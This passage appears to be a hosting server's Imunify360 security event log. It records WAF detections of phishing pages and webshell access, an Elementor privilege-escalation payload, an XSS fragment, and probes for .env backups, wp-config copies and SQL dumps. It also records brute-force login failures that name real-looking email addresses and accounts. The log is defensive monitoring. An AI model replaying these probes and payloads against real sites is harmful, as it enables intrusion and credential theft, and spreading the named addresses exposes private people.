description:
IM360 WAF: Possible phishing page detected||SC:/home/njdbfcnn/public_html/.403225346762503.php||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.208
country_id: 2635167
domain: clients.cloud-et-racks.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/nxpivbcy/public_html/.388762818843053.php||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.217
country_id: 2635167
domain: sophie-immobilier.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/mipbtgnb/public_html/.632863088639001.php||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.14
country_id: 2635167
domain: horizonmedical.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/rdlizssu/public_html/.876632820870155.php||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.16
country_id: 2635167
domain: digilix.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ohuuvcqw/public_html/.380616545901140.php||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77142104
name: IM360 WAF: Elementor Page Builder < 2.9.6 - Authenticated Safe Mode Privilege Escalation
abuser: 102.211.168.154
country_id: 2363686
domain: camilliens.tg
description:
IM360 WAF: Elementor Page Builder < 2.9.6 - Authenticated Safe Mode Privilege Escalation||RSV:8.15||T:APACHE||MVN:ARGS:actions||MV:{\"enable_safe_mode\":{\"action\":\"enable_safe_mode\",\"data\":{\"editor_post_id\":\"2\"}}}||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.124
country_id: 1880251
description:
47.128.96.124 - - [09/Jun/2026:20:21:15 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6908106&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Famende-de-3000-euros%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781036474 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/amende-de-3000-euros/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.124


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 45.148.10.62
country_id: 2750405
domain: sophie-immobilier.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.backup||User:mipbtgnb||


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 46.250.161.193
country_id: 3996063
domain: direct7.tg
description:
IM360 WAF: Possible XSS in arguments||MV:https://direct7.tg/hcrrun-dix-ans-pour-reparer-dix-ans-pour-apaiser-tg/<script async src=||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 62.60.130.231
country_id: 130758
domain: www.djamabeer.snb.tg
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.15||T:APACHE||MV:/images/images/cache.php||SC:/home/bighostingsnbd/public_html/images/images||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.207.44.248
country_id: 6252001
description:
[2026-06-09 20:20:37 +0000] info [cpaneld] 104.207.44.248 - two "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user two (has_cpuser_file failed)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.171.46.177
country_id: 2363686
description:
[2026-06-09 20:20:45 +0000] info [webmaild] 196.171.46.177 - xolali.hadzi@togointerim.net "GET /cpsess7114877555/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 3.101.230.218
country_id: 6252001
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/nice ports,/Trinity.txt.bak||User:root||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.64.153.199
country_id: 2363686
description:
[2026-06-09 20:20:55 +0000] info [webmaild] 102.64.153.199 - victoire.kablais@togointerim.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 27.147.202.140
country_id: 1210997
description:
27.147.202.140 - - [09/Jun/2026:20:20:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7105901&pdata=https%253A%252F%252Feducplusmedia.tg%252F2025%252Fpage%252F21%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781036456 HTTP/2.0" 302 0 educplusmedia.tg "https://educplusmedia.tg/2025/page/21/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.5928.1862 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:27.147.202.140


plugin: modsec
rule: 77350212
name: IM360 WAF: Information Disclosure Attempt in WordPress
abuser: 45.148.10.62
country_id: 2750405
domain: sophie-immobilier.tg
description:
IM360 WAF: Information Disclosure Attempt in WordPress||MV:/wp-config.php.old||RSV:8.15||T:APACHE||REQUEST_URI:/wp-config.php.old||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.64.153.199
country_id: 2363686
description:
[2026-06-09 20:21:26 +0000] info [webmaild] 102.64.153.199 - victoire.kablais@togointerim.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.65.237.227
country_id: 1643084
description:
[2026-06-09 20:23:08 +0000] info [cpaneld] 103.65.237.227 - nwvfmxat "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.97.181.43
country_id: 3469034
description:
Jun  9 20:23:12 ns5 auth[2599]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.97.181.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.97.181.43
country_id: 3469034
description:
Jun  9 20:23:26 ns5 auth[2599]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.97.181.43 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 149.50.204.30
country_id: 3658394
description:
[2026-06-09 20:23:33 +0000] info [whostmgrd] 149.50.204.30 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.78
country_id: 1880251
description:
47.128.121.78 - - [09/Jun/2026:20:25:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10329033&pdata=https%253A%252F%252Ftogodailynews.tg%252Fhcte-les-77-delegues-pays-seront-installes-le-29-novembre-prochain-a-lome%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781036715 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/hcte-les-77-delegues-pays-seront-installes-le-29-novembre-prochain-a-lome/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.78


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.17
country_id: 1880251
description:
47.128.96.17 - - [09/Jun/2026:20:25:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10000581&pdata=https%253A%252F%252Fcfpj.tg%252Fcategory%252Fnon-classe%252F%253F__im-mLcLAlHa%253D3875901866547102545%25252Fpage%25252F12%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F3%25252F%252Fpage%252F2%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781036714 HTTP/2.0" 302 0 cfpj.tg "https://cfpj.tg/category/non-classe/?__im-mLcLAlHa=3875901866547102545%2Fpage%2F12%2F%2Fpage%2F3%2F%2Fpage%2F2%2F%2Fpage%2F12%2F%2Fpage%2F12%2F%2Fpage%2F12%2F%2Fpage%2F2%2F%2Fpage%2F3%2F%2Fpage%2F2%2F%2Fpage%2F12%2F%2Fpage%2F2%2F%2Fpage%2F3%2F%2Fpage%2F3%2F%2Fpage%2F2%2F%2Fpage%2F2%2F%2Fpage%2F12%2F%2Fpage%2F2%2F%2Fpage%2F3%2F%2Fpage%2F3%2F%2Fpage%2F3%2F%2Fpage%2F3%2F%2Fpage%2F3%2F/page/2/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.17


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.122.1
country_id: 1880251
description:
47.128.122.1 - - [09/Jun/2026:20:26:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10209125&pdata=https%253A%252F%252Ftogodailynews.tg%252Frecettes-fiscales-lotr-mobilise-21987-milliards-de-fcfa-au-premier-trimestre-2023%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781036791 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/recettes-fiscales-lotr-mobilise-21987-milliards-de-fcfa-au-premier-trimestre-2023/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.122.1


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 52.90.185.44
country_id: 6252001
description:
[2026-06-09 20:28:11 +0000] info [cpaneld] 52.90.185.44 - stephane "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user stephane (has_cpuser_file failed)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 109.126.168.247
country_id: 630336
description:
2026-06-09 20:27:43 H=([0.0.0.0]) [109.126.168.247]:13127 F=<John@4452.com> rejected RCPT <majed.zammouri@soroubat.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun  9 20:29:14 ns5 auth[2599]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.129
country_id: 1880251
description:
47.128.96.129 - - [09/Jun/2026:20:28:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9619397&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-les-resultats-du-bepc-2020-deja-disponibles-voici-comment-consulter-via-telephone%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781036912 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-les-resultats-du-bepc-2020-deja-disponibles-voici-comment-consulter-via-telephone/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.129


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-09 20:29:16 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:64381: 535 Incorrect authentication data (set_id=database)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 109.126.168.247
country_id: 630336
description:
2026-06-09 20:30:07 H=([0.0.0.0]) [109.126.168.247]:13144 F=<John@4452.com> rejected RCPT <majed.zammouri@soroubat.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.190
country_id: 1880251
description:
47.128.96.190 - - [09/Jun/2026:20:29:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6854755&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Flaboratoire-danalyses-de-biologie-medicale-recrute%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781036974 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/laboratoire-danalyses-de-biologie-medicale-recrute/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.190


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 40.27.110.111
country_id: 6252001
description:
40.27.110.111 - - [09/Jun/2026:20:32:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6514019&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2087&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781037131 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:40.27.110.111


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 52.71.149.115
country_id: 6252001
domain: www.cogerisq.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/132.0.0.0 Safari/537.36||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.139
country_id: 130758
description:
2026-06-09 20:31:28 dovecot_login authenticator failed for H=(localhost) [62.60.130.139]:35788: 535 Incorrect authentication data (set_id=bertrand)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 82.102.31.153
country_id: 6252001
description:
82.102.31.153 - - [09/Jun/2026:20:31:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10185113&pdata=http%253A%252F%252Fwww.matosshop.tg%252Fcgi-sys%252Fbxd.cgi%253Fa%253D&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781037088 HTTP/1.1" 302 0 www.matosshop.tg "http://www.matosshop.tg/cgi-sys/bxd.cgi?a=" "Mozilla/5.0 (Linux; arm_64; Android 16; SM-A165F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.7680.64 YaSearchBrowser/26.44.1 BroPP/1.0 YaSearchApp/26.44.1 webOmni Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:82.102.31.153


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.138
country_id: 1880251
description:
47.128.96.138 - - [09/Jun/2026:20:31:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6972002&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fexamens-du-baccalaureat-deuxieme-partie%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781037096 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/examens-du-baccalaureat-deuxieme-partie/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.138


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 40.27.110.111
country_id: 6252001
description:
[2026-06-09 20:32:15 +0000] info [whostmgrd] 40.27.110.111 - anadebfreenetmas "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.139
country_id: 130758
description:
Jun  9 20:31:26 ns5 auth[2599]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.139 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 95.164.195.169
country_id: 6252001
description:
95.164.195.169 - - [09/Jun/2026:20:32:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9869259&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2087&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781037160 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:95.164.195.169


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.164.195.169
country_id: 6252001
description:
[2026-06-09 20:32:43 +0000] info [whostmgrd] 95.164.195.169 - apluser "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.155
country_id: 1880251
description:
47.128.96.155 - - [09/Jun/2026:20:33:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12963016&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fexamens-du-baccalaureat-deuxieme-partie%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781037190 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/examens-du-baccalaureat-deuxieme-partie/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.155


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.203
country_id: 1880251
description:
47.128.96.203 - - [09/Jun/2026:20:33:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6986862&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fconcours-recrutement-unites-soins-peripheriques%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781037237 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/concours-recrutement-unites-soins-peripheriques/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.203


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 23.83.53.93
country_id: 6252001
description:
[2026-06-09 20:34:27 +0000] info [cpaneld] 23.83.53.93 - antasadmin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.168
country_id: 1880251
description:
47.128.96.168 - - [09/Jun/2026:20:35:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10066590&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fmonseigneur-barrigah%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781037333 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/monseigneur-barrigah/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.168


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 192.204.97.202
country_id: 6252001
description:
[2026-06-09 20:35:49 +0000] info [cpaneld] 192.204.97.202 - test "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user test (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-09 20:36:00 +0000] info [cpaneld] 102.54.238.57 - afxvhoxo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user afxvhoxo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 130.49.78.187
country_id: 2510769
description:
[2026-06-09 20:36:15 +0000] info [webmaild] 130.49.78.187 - sessou.e@inger.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.15.40.60
country_id: 1643084
description:
[2026-06-09 20:42:26 +0000] info [whostmgrd] 157.15.40.60 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.157.109.60
country_id: 453733
description:
Jun  9 20:41:37 ns5 auth[2634]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.157.109.60 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.82.88.93
country_id: 2029969
description:
Jun  9 20:42:02 ns5 auth[2634]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.82.88.93 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.255.212.178
country_id: 732800
description:
2026-06-09 20:42:13 dovecot_login authenticator failed for H=(185.255.212.178.ip.karnobat.net) [185.255.212.178]:44451: 535 Incorrect authentication data (set_id=contact@togosem.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.227.198
country_id: 1269750
description:
2026-06-09 20:42:24 dovecot_login authenticator failed for H=([122.187.227.198]) [122.187.227.198]:52994: 535 Incorrect authentication data (set_id=contact)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.227.198
country_id: 1269750
description:
Jun  9 20:42:22 ns5 auth[2634]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.227.198 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.65.237.227
country_id: 1643084
description:
[2026-06-09 20:42:25 +0000] info [cpaneld] 103.65.237.227 - yxhnfwxr "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 157.15.40.60
country_id: 1643084
description:
[2026-06-09 20:42:28 +0000] info [whostmgrd] 157.15.40.60 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.118.35.91
country_id: 798544
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/temp/admin.sql||User:antasadmin||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 124.223.38.27
country_id: 1814991
description:
Jun  9 20:42:06 ns5 auth[2634]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 124.223.38.27 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.212.178
country_id: 732800
description:
Jun  9 20:42:11 ns5 auth[2634]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.212.178 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.72.153.110
country_id: 290557
description:
Jun  9 20:42:50 ns5 auth[2634]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.72.153.110 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.26.87.216
country_id: 660013
description:
Jun  9 20:42:42 ns5 auth[2634]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.26.87.216 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.26.87.216
country_id: 660013
description:
2026-06-09 20:42:44 dovecot_plain authenticator failed for H=(4xxr31ifb2x6cst2o0w5t6vf) [2.26.87.216]:37056: 535 Incorrect authentication data (set_id=welldrive@confortis.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.251
country_id: 130758
description:
2026-06-09 20:42:47 dovecot_login authenticator failed for H=(localhost) [62.60.130.251]:40498: 535 Incorrect authentication data (set_id=maia)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.152
country_id: 1880251
description:
47.128.96.152 - - [09/Jun/2026:20:43:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9922761&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Farmee-togolaise%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781037809 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/armee-togolaise/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.152


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.72.153.110
country_id: 290557
description:
2026-06-09 20:42:52 dovecot_login authenticator failed for H=([91.72.153.110]) [91.72.153.110]:50566: 535 Incorrect authentication data (set_id=webmaster@togosem.com)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.118.35.91
country_id: 798544
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/temp/temp.sql||User:antasadmin||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.251
country_id: 130758
description:
Jun  9 20:42:45 ns5 auth[2634]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.251 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.77.49.193
country_id: 2542007
description:
[2026-06-09 20:42:55 +0000] info [whostmgrd] 196.77.49.193 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.220.3.101
country_id: 226074
description:
Jun  9 20:43:00 ns5 auth[2634]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.220.3.101 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.220.3.101
country_id: 226074
description:
2026-06-09 20:43:02 dovecot_login authenticator failed for H=([41.220.3.113]) [41.220.3.101]:62876: 535 Incorrect authentication data (set_id=webmaster@togosem.com)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.118.35.91
country_id: 798544
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/temp/swagger.sql||User:antasadmin||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.65.237.227
country_id: 1643084
description:
[2026-06-09 20:44:23 +0000] info [cpaneld] 103.65.237.227 - czqxxxnu "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: User czqxxxnu has their account suspended. Login blocked.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 65.111.9.201
country_id: 6252001
description:
[2026-06-09 20:44:25 +0000] info [cpaneld] 65.111.9.201 - crepsad "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 23.104.93.196
country_id: 6252001
description:
